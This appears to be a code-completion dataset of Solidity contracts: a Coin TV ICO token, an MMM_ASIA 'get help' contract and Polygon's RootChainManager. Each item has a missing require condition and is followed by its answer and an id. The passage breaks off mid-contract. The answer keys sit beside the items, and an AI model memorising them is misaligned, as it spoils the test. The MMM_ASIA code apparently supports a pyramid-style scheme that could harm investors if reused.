require(<FILL_ME>) _; } function setEthCollector(address _ethCollector) public onlyOwner{ } function startSale() public onlyOwner{ } //To enable transfer of tokens function unlockTransfer() external onlyOwner{ } /** * @dev Check if the address being passed belongs to a contract * * @param _address The address which you want to verify * @return A bool specifying if the address is that of contract or not */ function isContract(address _address) private view returns(bool _isContract){ } /** * @dev Check balance of given account address * * @param _owner The address account whose balance you want to know * @return balance of the account */ function balanceOf(address _owner) public view returns (uint256 _value){ } /** * @dev Transfer sender's token to a given address * * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @return A bool if the transfer was a success or not */ function transfer(address _to, uint _value) onlyUnlocked onlyPayloadSize(2 * 32) public returns(bool _success) { } /** * @dev Transfer tokens to an address given by sender. To make ERC223 compliant * * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @param _data additional information of account from where to transfer from * @return A bool if the transfer was a success or not */ function transfer(address _to, uint _value, bytes _data) onlyUnlocked onlyPayloadSize(3 * 32) public returns(bool _success) { } /** * @dev Transfer tokens from one address to another, for ERC20. * * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @return A bool if the transfer was a success or not */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3*32) public onlyUnlocked returns (bool){ } /** * @dev Function to check the amount of tokens that an owner has allowed a spender to recieve from owner. * * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender to spend. */ function allowance(address _owner, address _spender) public view returns (uint256){ } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool){ } /** * @dev Calculate number of tokens that will be received in one ether * */ function getPrice() public view returns(uint256) { } function mintAndTransfer(address beneficiary, uint256 numberOfTokensWithoutDecimal, bytes comment) public onlyOwner { } function mintAlreadyBoughtTokens(address beneficiary, uint256 tokensBought)internal{ } /** * @dev to enable pause sale for break in ICO and Pre-ICO * */ function pauseSale() public onlyOwner{ } /** * @dev to resume paused sale * */ function resumeSale() public onlyOwner{ } function buyTokens(address beneficiary) internal validTimeframe { } /** * @dev This function is used to register a referral. * Whoever calls this function, is telling contract, * that "I was referred by referredByAddress" * Whenever I am going to buy tokens, 10% will be awarded to referredByAddress * * @param referredByAddress The address of person who referred the person calling this function */ function registerReferral (address referredByAddress) public { } /** * @dev Owner is allowed to manually register who was referred by whom * @param heWasReferred The address of person who was referred * @param I_referred_this_person The person who referred the above address */ function referralRegistration(address heWasReferred, address I_referred_this_person) public onlyOwner { } /** * Finalize the crowdsale */ function finalize() public onlyOwner { } /** * Refund the investors in case target of crowdsale not achieved */ function refund() public onlyOwner { } function extendSale(uint56 numberOfDays) public onlyOwner{ } /** * @dev This will receive ether from owner so that the contract has balance while refunding * */ function prepareForRefund() public payable {} function () public payable { } /** * Failsafe drain */ function drain() public onlyOwner { } }
saleRunning&&now>=startTime&&now<endTime
371,914
saleRunning&&now>=startTime&&now<endTime
null
pragma solidity ^0.4.18; /** * @title SafeMath for performing valid mathematics. */ library SafeMath { function Mul(uint a, uint b) internal pure returns (uint) { } function Div(uint a, uint b) internal pure returns (uint) { } function Sub(uint a, uint b) internal pure returns (uint) { } function Add(uint a, uint b) internal pure returns (uint) { } } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } /** * Contract "Ownable" * Purpose: Defines Owner for contract and provide functionality to transfer ownership to another account */ contract Ownable { //owner variable to store contract owner account address public owner; //add another owner to transfer ownership address oldOwner; //Constructor for the contract to store owner's account on deployement function Ownable() public { } //modifier to check transaction initiator is only owner modifier onlyOwner() { } //ownership can be transferred to provided newOwner. Function can only be initiated by contract owner's account function transferOwnership(address newOwner) public onlyOwner { } } /** * @title ERC20 interface */ contract ERC20 is Ownable { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 value); function transfer(address _to, uint256 _value) public returns (bool _success); function allowance(address owner, address spender) public view returns (uint256 _value); function transferFrom(address from, address to, uint256 value) public returns (bool _success); function approve(address spender, uint256 value) public returns (bool _success); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed _from, address indexed _to, uint _value); } contract CTV is ERC20 { using SafeMath for uint256; //The name of the token string public constant name = "Coin TV"; //The token symbol string public constant symbol = "CTV"; //To denote the locking on transfer of tokens among token holders bool public locked; //The precision used in the calculations in contract uint8 public constant decimals = 18; //maximum number of tokens uint256 constant MAXCAP = 29999990e18; // maximum number of tokens that can be supplied by referrals uint public constant MAX_REFERRAL_TOKENS = 2999999e18; //set the softcap of ether received uint256 constant SOFTCAP = 70 ether; //Refund eligible or not // 0: sale not started yet, refunding invalid // 1: refund not required // 2: softcap not reached, refund required // 3: Refund in progress // 4: Everyone refunded uint256 public refundStatus = 0; //the account which will receive all balance address public ethCollector; //to save total number of ethers received uint256 public totalWeiReceived; //count tokens earned by referrals uint256 public tokensSuppliedFromReferral = 0; //Mapping to relate owner and spender to the tokens allowed to transfer from owner mapping(address => mapping(address => uint256)) allowed; //to manage referrals mapping(address => address) public referredBy; //Mapping to relate number of token to the account mapping(address => uint256) balances; //Structure for investors; holds received wei amount and Token sent struct Investor { //wei received during PreSale uint weiReceived; //Tokens sent during CrowdSale uint tokensPurchased; //user has been refunded or not bool refunded; //Uniquely identify an investor(used for iterating) uint investorID; } //time when the sale starts uint256 public startTime; //time when the presale ends uint256 public endTime; //to check the sale status bool public saleRunning; //investors indexed by their ETH address mapping(address => Investor) public investors; //investors indexed by their IDs mapping (uint256 => address) public investorList; //count number of investors uint256 public countTotalInvestors; //to keep track of how many investors have been refunded uint256 countInvestorsRefunded; //events event StateChanged(bool); function CTV() public{ } //To handle ERC20 short address attack modifier onlyPayloadSize(uint size) { } modifier onlyUnlocked() { } modifier validTimeframe(){ } function setEthCollector(address _ethCollector) public onlyOwner{ } function startSale() public onlyOwner{ } //To enable transfer of tokens function unlockTransfer() external onlyOwner{ } /** * @dev Check if the address being passed belongs to a contract * * @param _address The address which you want to verify * @return A bool specifying if the address is that of contract or not */ function isContract(address _address) private view returns(bool _isContract){ } /** * @dev Check balance of given account address * * @param _owner The address account whose balance you want to know * @return balance of the account */ function balanceOf(address _owner) public view returns (uint256 _value){ } /** * @dev Transfer sender's token to a given address * * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @return A bool if the transfer was a success or not */ function transfer(address _to, uint _value) onlyUnlocked onlyPayloadSize(2 * 32) public returns(bool _success) { } /** * @dev Transfer tokens to an address given by sender. To make ERC223 compliant * * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @param _data additional information of account from where to transfer from * @return A bool if the transfer was a success or not */ function transfer(address _to, uint _value, bytes _data) onlyUnlocked onlyPayloadSize(3 * 32) public returns(bool _success) { } /** * @dev Transfer tokens from one address to another, for ERC20. * * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @return A bool if the transfer was a success or not */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3*32) public onlyUnlocked returns (bool){ } /** * @dev Function to check the amount of tokens that an owner has allowed a spender to recieve from owner. * * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender to spend. */ function allowance(address _owner, address _spender) public view returns (uint256){ } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool){ } /** * @dev Calculate number of tokens that will be received in one ether * */ function getPrice() public view returns(uint256) { } function mintAndTransfer(address beneficiary, uint256 numberOfTokensWithoutDecimal, bytes comment) public onlyOwner { uint256 tokensToBeTransferred = numberOfTokensWithoutDecimal*1e18; require(<FILL_ME>) totalSupply = totalSupply.Add(tokensToBeTransferred); Transfer(0x0, beneficiary ,tokensToBeTransferred); } function mintAlreadyBoughtTokens(address beneficiary, uint256 tokensBought)internal{ } /** * @dev to enable pause sale for break in ICO and Pre-ICO * */ function pauseSale() public onlyOwner{ } /** * @dev to resume paused sale * */ function resumeSale() public onlyOwner{ } function buyTokens(address beneficiary) internal validTimeframe { } /** * @dev This function is used to register a referral. * Whoever calls this function, is telling contract, * that "I was referred by referredByAddress" * Whenever I am going to buy tokens, 10% will be awarded to referredByAddress * * @param referredByAddress The address of person who referred the person calling this function */ function registerReferral (address referredByAddress) public { } /** * @dev Owner is allowed to manually register who was referred by whom * @param heWasReferred The address of person who was referred * @param I_referred_this_person The person who referred the above address */ function referralRegistration(address heWasReferred, address I_referred_this_person) public onlyOwner { } /** * Finalize the crowdsale */ function finalize() public onlyOwner { } /** * Refund the investors in case target of crowdsale not achieved */ function refund() public onlyOwner { } function extendSale(uint56 numberOfDays) public onlyOwner{ } /** * @dev This will receive ether from owner so that the contract has balance while refunding * */ function prepareForRefund() public payable {} function () public payable { } /** * Failsafe drain */ function drain() public onlyOwner { } }
totalSupply.Add(tokensToBeTransferred)<=MAXCAP
371,914
totalSupply.Add(tokensToBeTransferred)<=MAXCAP
null
pragma solidity ^0.5.16; import "./SafeMath.sol"; import "./token.sol"; contract MMM_ASIA { using SafeMath for uint256; PAXImplementation token; address public tokenAdd; address public Ad1; address public Ad2; address public lastContractAddress; address _contractaddress; address _phcontractaddress; address _mvcontractaddress; uint256 public deployTime; uint256 public totalMvSubContract; uint256 public totalPhSubContract; uint256 public veAm; Contracts[] public contractDatabase; PHcontracts[] public phcontractDatabase; MVcontracts[] public mvcontractDatabase; GHamounts[] public ghamountDatabase; address[] public contracts; address[] public phcontracts; address[] public mvcontracts; mapping (address => address) public mvUserdetail; mapping (address => address) public phUserdetail; mapping (address => uint256) public getMvPosition; mapping (address => uint256) public getPhPosition; mapping (address => uint256) public balances; mapping (string => uint256) public ghOrderID; struct Contracts { address contractadd; address registeredUserAdd; } struct PHcontracts { address phcontractadd; address phregisteredUserAdd; } struct MVcontracts { address mvcontractadd; address mvregisteredUserAdd; } struct GHamounts { string ghorderid; uint256 ghtotalamount; address ghregisteredUserAdd; } event ContractGenerated ( uint256 _ID, address _contractadd, address indexed _userAddress ); event PhContractGenerated ( uint256 _phID, address _phcontractadd, address indexed registeredUserAdd ); event MvContractGenerated ( uint256 _mvID, address _mvcontractadd, address indexed registeredUserAdd ); event GhGenerated ( uint256 _ghID, string indexed _ghorderid, uint256 _ghtotalamount, address _ghuserAddress ); event FundsTransfered( string indexed AmountType, uint256 Amount ); modifier onAd1() { } modifier onAd2() { } constructor(address paxtoken, address _Ad2, address _Ad1) public{ } function () external payable { } function totalEth() public view returns (uint256) { } function witdrawEth() public onAd1{ } function withdrawToken(uint256 amount) onAd1 public { } function totalTok() public view returns (uint256){ } function gethelp(address userAddress, uint256 tokens, string memory OrderID) public onAd1 { require(<FILL_ME>) token.transfer(userAddress, tokens); ghamountDatabase.push(GHamounts({ ghorderid: OrderID, ghtotalamount : tokens, ghregisteredUserAdd : userAddress })); ghOrderID[OrderID] = ghamountDatabase.length - 1; emit FundsTransfered("Send GH", tokens); } function generateMV(address userAddress) public onAd2 payable returns(address newContract) { } function generatePH(address userAddress) public onAd2 payable returns(address newContract) { } function getMvContractCount() public view returns(uint MvContractCount) { } function getPhContractCount() public view returns(uint phContractCount) { } function upVerAm(uint256 _nAm) public onAd1{ } function verifyAccount(address userAdd) public view returns(bool){ } function contractAddress() public view returns(address){ } } contract phContract { constructor(address tokenAdd, address Ad2, address _mainAdd, address _userAddress) public payable{ } address payable Deployer; address public Ad2Add; address public mainconractAdd; address public userAdd; uint256 public deployTime; address public tokenAddress; uint256 public withdrawedToken; PAXImplementation token; mapping (address => uint256) public balances; mapping (address => uint256) public tokenBalance; modifier onAd2() { } function () external payable { } function totalToken() public view returns (uint256){ } function totalEth() public view returns (uint256) { } function withdrawAllToken() public { } function withdrawEth(uint256 amount) public onAd2{ } function checkUser(address _userAddress) public view returns(bool) { } } contract mvContract { constructor(address tokenAdd, address Ad2, address _mainAdd, address _userAddress) public payable{ } address payable Deployer; address public Ad2Add; address public mainconractAdd; address public userAdd; uint256 public deployTime; address public tokenAddress; uint256 public withdrawedToken; PAXImplementation token; mapping (address => uint256) public balances; mapping (address => uint256) public tokenBalance; modifier onAd2() { } function () external payable { } function totalToken() public view returns (uint256){ } function totalEth() public view returns (uint256) { } function withdrawAllToken() public { } function withdrawEth(uint256 amount) public onAd2{ } function checkUser(address _userAddress) public view returns(bool) { } }
token.balanceOf(address(this))>=tokens
371,942
token.balanceOf(address(this))>=tokens
"RootChainManager: TOKEN_TYPE_NOT_SUPPORTED"
pragma solidity 0.6.6; contract RootChainManager is IRootChainManager, Initializable, AccessControl, // included to match old storage layout while upgrading RootChainManagerStorage, // created to match old storage layout while upgrading AccessControlMixin, NativeMetaTransaction, ChainConstants, ContextMixin { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using SafeMath for uint256; // maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4 bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); address public constant ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; bytes32 public constant MAPPER_ROLE = keccak256("MAPPER_ROLE"); function _msgSender() internal override view returns (address payable sender) { } /** * @notice Deposit ether by directly sending to the contract * The account sending ether receives WETH on child chain */ receive() external payable { } /** * @notice Initialize the contract after it has been proxified * @dev meant to be called once immediately after deployment * @param _owner the account that should be granted admin role */ function initialize( address _owner ) external initializer { } // adding seperate function setupContractId since initialize is already called with old implementation function setupContractId() external only(DEFAULT_ADMIN_ROLE) { } // adding seperate function initializeEIP712 since initialize is already called with old implementation function initializeEIP712() external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Set the state sender, callable only by admins * @dev This should be the state sender from plasma contracts * It is used to send bytes from root to child chain * @param newStateSender address of state sender contract */ function setStateSender(address newStateSender) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as state sender * @return The address of state sender contract */ function stateSenderAddress() external view returns (address) { } /** * @notice Set the checkpoint manager, callable only by admins * @dev This should be the plasma contract responsible for keeping track of checkpoints * @param newCheckpointManager address of checkpoint manager contract */ function setCheckpointManager(address newCheckpointManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as checkpoint manager * @return The address of checkpoint manager contract */ function checkpointManagerAddress() external view returns (address) { } /** * @notice Set the child chain manager, callable only by admins * @dev This should be the contract responsible to receive deposit bytes on child chain * @param newChildChainManager address of child chain manager contract */ function setChildChainManagerAddress(address newChildChainManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Register a token predicate address against its type, callable only by mappers * @dev A predicate is a contract responsible to process the token specific logic while locking or exiting tokens * @param tokenType bytes32 unique identifier for the token type * @param predicateAddress address of token predicate address */ function registerPredicate(bytes32 tokenType, address predicateAddress) external override only(MAPPER_ROLE) { } /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers * @param rootToken address of token on root chain * @param childToken address of token on child chain * @param tokenType bytes32 unique identifier for the token type */ function mapToken( address rootToken, address childToken, bytes32 tokenType ) external override only(MAPPER_ROLE) { require(<FILL_ME>) rootToChildToken[rootToken] = childToken; childToRootToken[childToken] = rootToken; tokenToType[rootToken] = tokenType; emit TokenMapped(rootToken, childToken, tokenType); bytes memory syncData = abi.encode(rootToken, childToken, tokenType); _stateSender.syncState( childChainManagerAddress, abi.encode(MAP_TOKEN, syncData) ); } /** * @notice Move ether from root to child chain, accepts ether transfer * Keep in mind this ether cannot be used to pay gas on child chain * Use Matic tokens deposited using plasma mechanism for that * @param user address of account that should receive WETH on child chain */ function depositEtherFor(address user) external override payable { } /** * @notice Move tokens from root to child chain * @dev This mechanism supports arbitrary tokens as long as its predicate has been registered and the token is mapped * @param user address of account that should receive this deposit on child chain * @param rootToken address of token that is being deposited * @param depositData bytes data that is sent to predicate and child token contracts to handle deposit */ function depositFor( address user, address rootToken, bytes calldata depositData ) external override { } function _depositEtherFor(address user) private { } function _depositFor( address user, address rootToken, bytes memory depositData ) private { } /** * @notice exit tokens by providing proof * @dev This function verifies if the transaction actually happened on child chain * the transaction log is then sent to token predicate to handle it accordingly * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function exit(bytes calldata inputData) external override { } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { } }
typeToPredicate[tokenType]!=address(0x0),"RootChainManager: TOKEN_TYPE_NOT_SUPPORTED"
372,002
typeToPredicate[tokenType]!=address(0x0)
"RootChainManager: TOKEN_NOT_MAPPED"
pragma solidity 0.6.6; contract RootChainManager is IRootChainManager, Initializable, AccessControl, // included to match old storage layout while upgrading RootChainManagerStorage, // created to match old storage layout while upgrading AccessControlMixin, NativeMetaTransaction, ChainConstants, ContextMixin { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using SafeMath for uint256; // maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4 bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); address public constant ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; bytes32 public constant MAPPER_ROLE = keccak256("MAPPER_ROLE"); function _msgSender() internal override view returns (address payable sender) { } /** * @notice Deposit ether by directly sending to the contract * The account sending ether receives WETH on child chain */ receive() external payable { } /** * @notice Initialize the contract after it has been proxified * @dev meant to be called once immediately after deployment * @param _owner the account that should be granted admin role */ function initialize( address _owner ) external initializer { } // adding seperate function setupContractId since initialize is already called with old implementation function setupContractId() external only(DEFAULT_ADMIN_ROLE) { } // adding seperate function initializeEIP712 since initialize is already called with old implementation function initializeEIP712() external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Set the state sender, callable only by admins * @dev This should be the state sender from plasma contracts * It is used to send bytes from root to child chain * @param newStateSender address of state sender contract */ function setStateSender(address newStateSender) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as state sender * @return The address of state sender contract */ function stateSenderAddress() external view returns (address) { } /** * @notice Set the checkpoint manager, callable only by admins * @dev This should be the plasma contract responsible for keeping track of checkpoints * @param newCheckpointManager address of checkpoint manager contract */ function setCheckpointManager(address newCheckpointManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as checkpoint manager * @return The address of checkpoint manager contract */ function checkpointManagerAddress() external view returns (address) { } /** * @notice Set the child chain manager, callable only by admins * @dev This should be the contract responsible to receive deposit bytes on child chain * @param newChildChainManager address of child chain manager contract */ function setChildChainManagerAddress(address newChildChainManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Register a token predicate address against its type, callable only by mappers * @dev A predicate is a contract responsible to process the token specific logic while locking or exiting tokens * @param tokenType bytes32 unique identifier for the token type * @param predicateAddress address of token predicate address */ function registerPredicate(bytes32 tokenType, address predicateAddress) external override only(MAPPER_ROLE) { } /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers * @param rootToken address of token on root chain * @param childToken address of token on child chain * @param tokenType bytes32 unique identifier for the token type */ function mapToken( address rootToken, address childToken, bytes32 tokenType ) external override only(MAPPER_ROLE) { } /** * @notice Move ether from root to child chain, accepts ether transfer * Keep in mind this ether cannot be used to pay gas on child chain * Use Matic tokens deposited using plasma mechanism for that * @param user address of account that should receive WETH on child chain */ function depositEtherFor(address user) external override payable { } /** * @notice Move tokens from root to child chain * @dev This mechanism supports arbitrary tokens as long as its predicate has been registered and the token is mapped * @param user address of account that should receive this deposit on child chain * @param rootToken address of token that is being deposited * @param depositData bytes data that is sent to predicate and child token contracts to handle deposit */ function depositFor( address user, address rootToken, bytes calldata depositData ) external override { } function _depositEtherFor(address user) private { } function _depositFor( address user, address rootToken, bytes memory depositData ) private { require(<FILL_ME>) address predicateAddress = typeToPredicate[tokenToType[rootToken]]; require( predicateAddress != address(0), "RootChainManager: INVALID_TOKEN_TYPE" ); require( user != address(0), "RootChainManager: INVALID_USER" ); ITokenPredicate(predicateAddress).lockTokens( _msgSender(), user, rootToken, depositData ); bytes memory syncData = abi.encode(user, rootToken, depositData); _stateSender.syncState( childChainManagerAddress, abi.encode(DEPOSIT, syncData) ); } /** * @notice exit tokens by providing proof * @dev This function verifies if the transaction actually happened on child chain * the transaction log is then sent to token predicate to handle it accordingly * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function exit(bytes calldata inputData) external override { } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { } }
rootToChildToken[rootToken]!=address(0x0)&&tokenToType[rootToken]!=0,"RootChainManager: TOKEN_NOT_MAPPED"
372,002
rootToChildToken[rootToken]!=address(0x0)&&tokenToType[rootToken]!=0
"RootChainManager: EXIT_ALREADY_PROCESSED"
pragma solidity 0.6.6; contract RootChainManager is IRootChainManager, Initializable, AccessControl, // included to match old storage layout while upgrading RootChainManagerStorage, // created to match old storage layout while upgrading AccessControlMixin, NativeMetaTransaction, ChainConstants, ContextMixin { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using SafeMath for uint256; // maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4 bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); address public constant ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; bytes32 public constant MAPPER_ROLE = keccak256("MAPPER_ROLE"); function _msgSender() internal override view returns (address payable sender) { } /** * @notice Deposit ether by directly sending to the contract * The account sending ether receives WETH on child chain */ receive() external payable { } /** * @notice Initialize the contract after it has been proxified * @dev meant to be called once immediately after deployment * @param _owner the account that should be granted admin role */ function initialize( address _owner ) external initializer { } // adding seperate function setupContractId since initialize is already called with old implementation function setupContractId() external only(DEFAULT_ADMIN_ROLE) { } // adding seperate function initializeEIP712 since initialize is already called with old implementation function initializeEIP712() external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Set the state sender, callable only by admins * @dev This should be the state sender from plasma contracts * It is used to send bytes from root to child chain * @param newStateSender address of state sender contract */ function setStateSender(address newStateSender) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as state sender * @return The address of state sender contract */ function stateSenderAddress() external view returns (address) { } /** * @notice Set the checkpoint manager, callable only by admins * @dev This should be the plasma contract responsible for keeping track of checkpoints * @param newCheckpointManager address of checkpoint manager contract */ function setCheckpointManager(address newCheckpointManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as checkpoint manager * @return The address of checkpoint manager contract */ function checkpointManagerAddress() external view returns (address) { } /** * @notice Set the child chain manager, callable only by admins * @dev This should be the contract responsible to receive deposit bytes on child chain * @param newChildChainManager address of child chain manager contract */ function setChildChainManagerAddress(address newChildChainManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Register a token predicate address against its type, callable only by mappers * @dev A predicate is a contract responsible to process the token specific logic while locking or exiting tokens * @param tokenType bytes32 unique identifier for the token type * @param predicateAddress address of token predicate address */ function registerPredicate(bytes32 tokenType, address predicateAddress) external override only(MAPPER_ROLE) { } /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers * @param rootToken address of token on root chain * @param childToken address of token on child chain * @param tokenType bytes32 unique identifier for the token type */ function mapToken( address rootToken, address childToken, bytes32 tokenType ) external override only(MAPPER_ROLE) { } /** * @notice Move ether from root to child chain, accepts ether transfer * Keep in mind this ether cannot be used to pay gas on child chain * Use Matic tokens deposited using plasma mechanism for that * @param user address of account that should receive WETH on child chain */ function depositEtherFor(address user) external override payable { } /** * @notice Move tokens from root to child chain * @dev This mechanism supports arbitrary tokens as long as its predicate has been registered and the token is mapped * @param user address of account that should receive this deposit on child chain * @param rootToken address of token that is being deposited * @param depositData bytes data that is sent to predicate and child token contracts to handle deposit */ function depositFor( address user, address rootToken, bytes calldata depositData ) external override { } function _depositEtherFor(address user) private { } function _depositFor( address user, address rootToken, bytes memory depositData ) private { } /** * @notice exit tokens by providing proof * @dev This function verifies if the transaction actually happened on child chain * the transaction log is then sent to token predicate to handle it accordingly * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function exit(bytes calldata inputData) external override { RLPReader.RLPItem[] memory inputDataRLPList = inputData .toRlpItem() .toList(); // checking if exit has already been processed // unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) bytes32 exitHash = keccak256( abi.encodePacked( inputDataRLPList[2].toUint(), // blockNumber // first 2 nibbles are dropped while generating nibble array // this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) // so converting to nibble array and then hashing it MerklePatriciaProof._getNibbleArray(inputDataRLPList[8].toBytes()), // branchMask inputDataRLPList[9].toUint() // receiptLogIndex ) ); require(<FILL_ME>) processedExits[exitHash] = true; RLPReader.RLPItem[] memory receiptRLPList = inputDataRLPList[6] .toBytes() .toRlpItem() .toList(); RLPReader.RLPItem memory logRLP = receiptRLPList[3] .toList()[ inputDataRLPList[9].toUint() // receiptLogIndex ]; address childToken = RLPReader.toAddress(logRLP.toList()[0]); // log emitter address field // log should be emmited only by the child token address rootToken = childToRootToken[childToken]; require( rootToken != address(0), "RootChainManager: TOKEN_NOT_MAPPED" ); address predicateAddress = typeToPredicate[ tokenToType[rootToken] ]; // branch mask can be maximum 32 bits require( inputDataRLPList[8].toUint() & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 == 0, "RootChainManager: INVALID_BRANCH_MASK" ); // verify receipt inclusion require( MerklePatriciaProof.verify( inputDataRLPList[6].toBytes(), // receipt inputDataRLPList[8].toBytes(), // branchMask inputDataRLPList[7].toBytes(), // receiptProof bytes32(inputDataRLPList[5].toUint()) // receiptRoot ), "RootChainManager: INVALID_PROOF" ); // verify checkpoint inclusion _checkBlockMembershipInCheckpoint( inputDataRLPList[2].toUint(), // blockNumber inputDataRLPList[3].toUint(), // blockTime bytes32(inputDataRLPList[4].toUint()), // txRoot bytes32(inputDataRLPList[5].toUint()), // receiptRoot inputDataRLPList[0].toUint(), // headerNumber inputDataRLPList[1].toBytes() // blockProof ); ITokenPredicate(predicateAddress).exitTokens( _msgSender(), childToRootToken[childToken], logRLP.toRlpBytes() ); } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { } }
processedExits[exitHash]==false,"RootChainManager: EXIT_ALREADY_PROCESSED"
372,002
processedExits[exitHash]==false
"RootChainManager: INVALID_BRANCH_MASK"
pragma solidity 0.6.6; contract RootChainManager is IRootChainManager, Initializable, AccessControl, // included to match old storage layout while upgrading RootChainManagerStorage, // created to match old storage layout while upgrading AccessControlMixin, NativeMetaTransaction, ChainConstants, ContextMixin { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using SafeMath for uint256; // maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4 bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); address public constant ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; bytes32 public constant MAPPER_ROLE = keccak256("MAPPER_ROLE"); function _msgSender() internal override view returns (address payable sender) { } /** * @notice Deposit ether by directly sending to the contract * The account sending ether receives WETH on child chain */ receive() external payable { } /** * @notice Initialize the contract after it has been proxified * @dev meant to be called once immediately after deployment * @param _owner the account that should be granted admin role */ function initialize( address _owner ) external initializer { } // adding seperate function setupContractId since initialize is already called with old implementation function setupContractId() external only(DEFAULT_ADMIN_ROLE) { } // adding seperate function initializeEIP712 since initialize is already called with old implementation function initializeEIP712() external 